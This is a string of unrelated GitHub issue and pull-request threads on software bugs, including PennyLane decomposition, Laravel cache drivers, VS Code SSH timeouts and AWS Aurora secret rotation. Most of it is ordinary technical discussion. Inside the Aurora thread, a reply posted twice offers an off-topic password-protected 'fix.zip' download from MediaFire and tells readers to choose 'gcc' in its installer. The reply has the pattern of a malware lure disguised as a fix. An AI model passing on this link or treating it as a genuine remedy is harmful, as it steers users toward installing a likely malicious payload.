I don't think I'll be able to fix this one but I can try. In the meantime you could use --listings as a workaround (the colors wount be that bretty though).

See in #2 where some tells to replace \begin{verbatim}  with \begin{spverbatim} in the template or fvextra or xcolor because listings breaks the nice syntax highlight.


Conflict with https://github.com/gitawego/cordova-screenshot

cordova-plugin-detect-screenshot and cordova-screenshot cannot be installed at the same time on the same project.
This PR rename the feature (and file names) solving the conflict

Ah, didn't even think of this possibility. Appreciate the change, will review and merge soon.


Fix keychain issue.

I am using a new cert to sign the app, which causes the previous apps keychain store to be inaccessible. This is not a big deal as the keychain store is not used in the app, but it would be a nice fix to have.

This is fixed by commit: 1ae015f. I just forgot to reference it.


ResolutionException on neo forge.

Affected Product(s)
SpongeForge
Version
spongeneo-1.21.3-21.3.0-beta-13.0.0-RC1926-universal
Operating System
windows
Java Version
22
Plugins/Mods
only sponge

Describe the bug

Link to logs
No response

Investigating this further, one of our dependencies is getting bundled in Neo: com.fasterxml.jackson.core:jackson-core and because it's being bundled, and we simultaneously shadow it in the jar, Java Module System is correctly asserting the problem.

Fixed with 1.21.3-21.3.35-beta-13.0.0-RC1957, available on the Downloads Page


Fixed lockdown

Please check carefully I haven't broken anything

Did you mean to close the PR? The math here makes much more sense to me, there was just a variable name slightly wrong

yeah, I fixed the variable name in the branch, but then the test wouldn't run and I got bored. Otherwise the math and descriptions are correct

Github is a little slow to re-run tests. All this one does is check that stuff compiles. If it's working in your IDE or with cargo, it should be fine. Thanks for the fix -- merging


fix image sizes which were in tuple

According to issue No.23, I had a minor fixes on code.
These is also a minor change needs to be applied on last cell in Notebook. I did not put it in this request because of many changes on raw ipynb file:
features, labels = data_utils.preprocess_eval(
    features,
    labels,
    max_image_size=[config.model.image_size,config.model.image_size],
    max_instances_per_image=1)

Yeah I copied the python from the colab locally and used the same test. Fixing all the places the image_size is referenced as a tuple makes the code wrong but the output is 10 random boxes with very low confidences.


renewal of the shiny interface

To facilitate renewal of the shiny interface two small changes were made to increase loading speed and predictability of thumbnails.

I will need to check the changes with tabula 1.0.5

thanks @jkeuskamp
I added parts of it manually after multiple changes to the codebase


dynamic cursors could not be enabled

Since after updating hyprland, (I don't remember if that's the case really), I am not able to start dynamic cursors.
If I run hyprpm reload or hyprpm enable dynamic-cursors, I get this notification...
Failed to load, hooks could not be made

I have tried running hyprpm update
Hyprland version:
Hyprland, built from branch  at commit 4520b30d498daca8079365bdb909a8dea38e8d55  (version: bump to 0.44.1).
Date: Wed Oct 9 12:54:39 2024
Tag: v0.44.1, commits: 5309
built against aquamarine 0.4.3

Can you have a look at the hyprland logs and share the part when the plugin is loaded? It should contain more information about what exactly is failing.
Also, what distro are you on?

Did a weekly restart, and it started working again, how could I miss that point... 🤦🏼
Sorry couldn't get the logs
Also, I am on garuda linux (arch based)


test_index.sh – incomplete propagation

It seems that not all possible k-mers are sometimes propagated to the root. This might me a consequence of a different tree sampling.
No: _index_test_2017-06-13_16-12-21.tar.gz

Since I haven't observed this issue any more, I am closing the ticket.


add cache driver option in abstract class

Issue
using different cache driver for model caching other than the app specific cache driver
Environment
Laravel Version: 5.5.25
Laravel Model Caching Package Version: 0.2.12
PHP Version: 7.1.11
Operating System & Version: Ubuntu 16.04

If you are configuring caching outside of Laravel, then this package probably isn't for your use case. This package specifically uses the cache driver configured in the app configuration, and is not meant to be used with external caching services.
If you do have the cache driver configured in the laravel config files, please reopen this issue and provide more details as to what problems you are having. Thanks for trying this package out, and good luck on your project! :)

I am configuring cache inside laravel only, I am using 1 redis instance and 1 memcached. Where memcached one is defined in .env as CACHE_DRIVER.
This package is using the memcached driver for caching. I want to use the redis as caching driver that's why I was asking to add a custom driver option.
Something like this package https://github.com/dwightwatson/rememberable#cache-driver

HI @rssawhney thanks for following up with more details. I see now what you mean: you have two Laravel cache drivers defined, and want a way to specify which one to use. That makes sense! I will look into that. Thanks for the clarifying your use-case, that makes a lot of sense to add that ability to this package.

Just released version 0.2.13, please let me know if that fixes your issue. :)
Thanks!


Error/Bug

While doing playerlist in the latest version this happens

wtf cant send screenshot here ;-;

I'm gonna see if this happens to me.

Could not reproduce. Make sure you did not edit anything related to the playerlist string
@Megabyte918 close please dad


PassthruQNode decomposition error with default.tensor.tf

Issue description

Expected behavior:
Operations not supported by a device (e.g. U3 given default.tensor.tf) get decomposed well within a PassthruQNode without any problems.

Actual behavior:
An error is raised due to a check that gets executed:

import pennylane as qml
import numpy as np
import tensorflow as tf

from pennylane.qnodes import PassthruQNode

theta = 0.543
phi = -0.234
lam = 0.654
p = [theta, phi, lam]

dev = qml.device("default.tensor.tf", wires=1)

def circuit(weights, w=None):
    qml.U3(weights[0], weights[1], weights[2], wires=w)   # <--- decomposition is required
    return qml.expval(qml.PauliX(w))

node = PassthruQNode(circuit, dev, interface="tf")

params = tf.Variable(p, dtype=tf.float64)

with tf.GradientTape() as tape:
    tape.watch(params)
    res = node(params, w=0)

Produces:
~/pennylane/pennylane/operation.py in __init__(self, wires, do_queue, *params)
    328         if self.do_check_domain:
    329             for p in params:
--> 330                 self.check_domain(p)
    331         self.params = list(params)  #: list[Any]: parameters of the operator
    332

~/pennylane/pennylane/operation.py in check_domain(self, p, flattened)
    425             if not isinstance(p, numbers.Real):
    426                 raise TypeError(
--> 427                     "{}: Real scalar parameter expected, got {}.".format(self.name, type(p))
    428                 )
    429

TypeError: Rot: Real scalar parameter expected, got <class 'tensorflow.python.framework.ops.EagerTensor'>.

Reproduces how often:
Each time a PassthruQNode is being used purely with TF using the default.tensor.tf device.

System information: (post the output of import pennylane as qml; qml.about())

Name: PennyLane
Version: 0.9.0.dev0
Summary: PennyLane is a Python quantum machine learning library by Xanadu Inc.
Home-page: https://github.com/XanaduAI/pennylane
Author: None
Author-email: None
License: Apache License 2.0
Location: /pennylane
Requires: numpy, scipy, networkx, autograd, toml, appdirs, semantic-version
Required-by:
Platform info:           Linux-4.19.11-041911-generic-x86_64-with-debian-buster-sid
Python version:          3.7.6
Numpy version:           1.18.1
Scipy version:           1.4.1
Installed devices:
- microsoft.QuantumSimulator (PennyLane-qsharp-0.6.0)
- cirq.simulator (PennyLane-Cirq-0.8.0)
- forest.numpy_wavefunction (PennyLane-Forest-0.8.0)
- forest.qpu (PennyLane-Forest-0.8.0)
- forest.qvm (PennyLane-Forest-0.8.0)
- forest.wavefunction (PennyLane-Forest-0.8.0)
- qiskit.aer (PennyLane-qiskit-0.9.0.dev0)
- qiskit.basicaer (PennyLane-qiskit-0.9.0.dev0)
- qiskit.ibmq (PennyLane-qiskit-0.9.0.dev0)
- projectq.classical (PennyLane-PQ-0.7.0.dev0)
- projectq.ibm (PennyLane-PQ-0.7.0.dev0)
- projectq.simulator (PennyLane-PQ-0.7.0.dev0)
- default.gaussian (PennyLane-0.9.0.dev0)
- default.qubit (PennyLane-0.9.0.dev0)
- default.tensor (PennyLane-0.9.0.dev0)
- default.tensor.tf (PennyLane-0.9.0.dev0)
- strawberryfields.fock (PennyLane-SF-0.9.0.dev0)
- strawberryfields.gaussian (PennyLane-SF-0.9.0.dev0)

Additional information
Testing of the "classical" differentiation method proposed in #552 will slightly change once this issue is resolved. This PR works with gate decomposition due to the error.

Good catch @antalszava! In the Operator class, we do some basic input validation of arguments. However, this won't work for PassthruQNodes, since they will no longer be using NumPy arrays/Python floats, but rather the default data structure for their target ML framework.
In the PassthruQNode, operation validation is turned off explicitly within the construct method:
def _construct(self, args, kwargs):
    """Construct the quantum circuit graph by calling the quantum function.

    Like :class:`.BaseQNode._construct`, but does not use Variables.
    """
    # temporary queues for operations and observables
    self.queue = []  #: list[Operation]: applied operations
    self.obs_queue = []  #: list[Observable]: applied observables

    # set up the context for Operator entry
    with self:
        try:
            # turn off domain checking since PassthruQNode qfuncs can take any class as input
            pennylane.operation.Operator.do_check_domain = False
            # generate the program queue by executing the quantum circuit function
            res = self.func(*args, **kwargs)
        finally:
            pennylane.operation.Operator.do_check_domain = True

My guess is that this seemingly doesn't propagate to decomposed operations, and it somehow gets turned on again?

I think I have found the cause. The operation decomposition is performed during the self.circuit_check method call. So this just needs to be moved to within the try: block:
# set up the context for Operator entry
with self:
    try:
        # turn off domain checking since PassthruQNode qfuncs can take any class as input
        pennylane.operation.Operator.do_check_domain = False
        # generate the program queue by executing the quantum circuit function
        res = self.func(*args, **kwargs)
        # check the validity of the circuit
        self._check_circuit(res)
    finally:
        pennylane.operation.Operator.do_check_domain = True

del self.queue
del self.obs_queue


Need help with fixing jiotv.config.js

Source
https://www.jiotv.com/tv-guide
Notes
I need help from a more experienced js scripter to see what I am doing incorrectly.  I have been working on a config for getting the guide from jiotv, but it returns the following error 'Request failed with status code 450'.  I cannot figure out what my script is missing.  Any guidance/assistance would be highly appreciated.  Also, if you can get it to work, please feel free to add the config to this repo.  Thank you.
jio.tv.config.txt

450 status code means that you are blocked by Jio's Firewall.
Jio only allows Indian Residential IPs for their service s.

450 status code means that you are blocked by Jio's Firewall.
Jio only allows Indian Residential IPs for their services.

I don't think Indian IP is the issue. I'm able to watch Jio TV with my VPN (which should also fail if the IP was being blocked). There is something else that I'm missing.

Not needed anymore


Jupyter Notebooks don't work with vscode

After connecting to KubeSSH via vscode remoting, trying to open a Jupyter Notebook in vscode fails. The SSH connection drops, and then gets stuck in a reconnect loop.
I suspect the environment vscode expects to find in the spawned pod is different from what we give it. We need some additional logging to test it out, though.

Hey @yuvipanda, ssh via VSCode is now failing altogether. Log follows.
[09:43:09.668] Log Level: 3
[09:43:09.670]<EMAIL_ADDRESS>[09:43:09.670] darwin x64
[09:43:09.672] SSH Resolver called for "ssh-remote+7b22686f73744e616d65223a227368656c6c2e617564696f6579652e7175616e73696768742e7365727669636573222c2275736572223a226c6a686f706b696e7332227d", attempt 1
[09:43:09.672] SSH Resolver called for host<EMAIL_ADDRESS>[09:43:09.672] Setting up SSH remote "shell.audioeye.quansight.services"
[09:43:09.676] Acquiring local install lock<EMAIL_ADDRESS>[09:43:09.694] Looking for existing server data file at /Users/joseph/Library/Application<EMAIL_ADDRESS>[09:43:09.696] Using commit id "c47d83b293181d9be64f27ff093689e8e7aed054" and quality "stable" for server
[09:43:09.698] Install and start server if needed
[09:43:09.709] Checking ssh with "ssh -V"
[09:43:09.739] > OpenSSH_7.9p1, LibreSSL 2.7.3
[09:43:09.747] askpass server listening on /var/folders/tw/rdlksryn3d55jh_j70790x8m0000gn/T/vscode-ssh-askpass-173fc0ba81dfce82eeba6c1dac95638e70dc40e3.sock
[09:43:09.748] Spawning local server with {"ipcHandlePath":"/var/folders/tw/rdlksryn3d55jh_j70790x8m0000gn/T/vscode-ssh-askpass-0c8ff0117da90de3d292278f5dc18de7a283f33a.sock","sshCommand":"ssh","sshArgs":["-T","-D","58107","-o","ConnectTimeout=15","ljhopkins2@shell.audioeye.quansight.services"],"dataFilePath":"/Users/joseph/Library/Application<EMAIL_ADDRESS>[09:43:09.748] Local server env: {"DISPLAY":"1","ELECTRON_RUN_AS_NODE":"1","SSH_ASKPASS":"/Users/joseph/.vscode/extensions/ms-vscode-remote.remote-ssh-0.49.0/out/local-server/askpass.sh","VSCODE_SSH_ASKPASS_NODE":"/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper (Renderer).app/Contents/MacOS/Code Helper (Renderer)","VSCODE_SSH_ASKPASS_MAIN":"/Users/joseph/.vscode/extensions/ms-vscode-remote.remote-ssh-0.49.0/out/askpass-main.js","VSCODE_SSH_ASKPASS_HANDLE":"/var/folders/tw/rdlksryn3d55jh_j70790x8m0000gn/T/vscode-ssh-askpass-173fc0ba81dfce82eeba6c1dac95638e70dc40e3.sock"}
[09:43:09.755] Spawned 13533
[09:43:09.911] > local-server> Spawned ssh: 13534
[09:43:26.760] Terminating local server
[09:43:26.767] Resolver error: Connecting with SSH timed out
[09:43:26.770] Local server exit: 15
[09:43:26.775] ------


10 set up pre commits

dotnet new tool-manifest (to create manifest file if missing)
dotnet tool install husky (to install husky)
dotnet husky install (to install .git/hookos/pre-commit)

https://csharpier.com/docs/Pre-commit


Changing the default arrows

So the color scheme I use is dark and for that I had to change the colors of the default strokes and fills. One thing I can't figure out though is where the arrow assets are coming from. I can see that they are added from the normal.py file. The code for them looks like this:
    if 'x' in combination:
        style['marker-start'] = f'url(#marker-arrow-{w})'
        style['marker-end'] = f'url(#marker-arrow-{w})'

I want to add a different type of default arrows without having to create a new style, can you expand on where these arrow assets are coming from?
Thanks.

Okay so I figured it out. The assets are not being imported they are being made using svg code. Which I kind of discovered that is a real thing. So basically if anyone wants to change the arrows, you can do so by changing this code in the normal.py file. It will be present at the end almost.
<defs id="marker-defs">
                <marker
                id="marker-arrow-{w}"
                orient="auto-start-reverse"
                refY="0" refX="0"
                markerHeight="1.690" markerWidth="0.911">
                  <g transform="scale({(2.40 * w + 3.87)/(4.5*w)})">
                    <path
                       d="M -1.55415,2.0722 C -1.42464,1.29512 0,0.1295 0.38852,0 0,-0.1295 -1.42464,-1.29512 -1.55415,-2.0722"
                       style="fill:none;stroke:#ffffff;stroke-width:{0.6};stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:1;stroke-dasharray:none;stroke-opacity:1"
                       inkscape:connector-curvature="0" />
                   </g>
                </marker>
                </defs>
                '''
Here `style` is the thing that you will want to change. Fill and stroke are understandable enough, look up `stroke-linecap` and `stroke-linejoin` cause they are mostly responsible for the shape of that arrow.


[utils] Fix share dir when running from repo clone

Change:

#562 broke people who run navigator from a clone of the repository
without installing it somewhere. The search path for the share
directory starts with looking for it relative to utils.py for exactly
this scenario. However when the ansible_navigator directory got moved
a level deeper, this path wasn't updated.

Test Plan:

Ran ansible-navigator from git clone after pip uninstalling it.

Signed-off-by: Rick Elrod<EMAIL_ADDRESS>

recheck


Unable to rotate Aurora Postgres secret if using the ReadOnly endpoint as Host

Hi there,
I'm attempting to set up an Aurora v2 Cluster with the following users with Auto-Rotate password turned on for all of them:

postgres (admin)
lambda_writer (connects to the Aurora Writer endpoint)
lambda_reader (connects to the Aurora Reader endpoint)

lambda_writer's setup is the default, and it seems to work properly.
I've set up the Database Secret so that lambda_reader's host value is the ReadOnly endpoint for Aurora, as I don't want any users connecting with this secret to tax a potentially stressed Writer instance.
Unfortunately, Aurora v2 Reader instances aren't consider by the RDS client to be "Read Replicas", so when the Multi-User Rotation lambda goes to set the secret, and sees that the hostnames for the master and child secrets differ, the "isReadReplica" (see below) function fails:
https://github.com/aws-samples/aws-secrets-manager-rotation-lambdas/blob/7f56d1b8fe56f6f346ac2d41ca9cbd64c9516d88/SecretsManagerRDSPostgreSQLRotationMultiUser/lambda_function.py#L501-L538
I've checked as to why with the following setup:

An Aurora v2 DbCluster with:

1 Writer instance
1 Reader instance

And then I got the following in the CLI:
aws rds describe-db-instances --region ap-southeast-2 | grep Replica
            "ReadReplicaDBInstanceIdentifiers": [],
            "ReadReplicaDBInstanceIdentifiers": [],

I think the potential solution is to check that the host value is an Endpoint for the given cluster potentially, since Secret.attach adds the dbClusterIdentifier to the Secret Value for Aurora DB Connections, but I'm not sure tbh.
Thanks!

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Additional note: Our org is set up to need almost everything to be done as part of CDK code, and Ideally I don't want to be writing my own custom CR to do this task that looks like CDK should handle natively.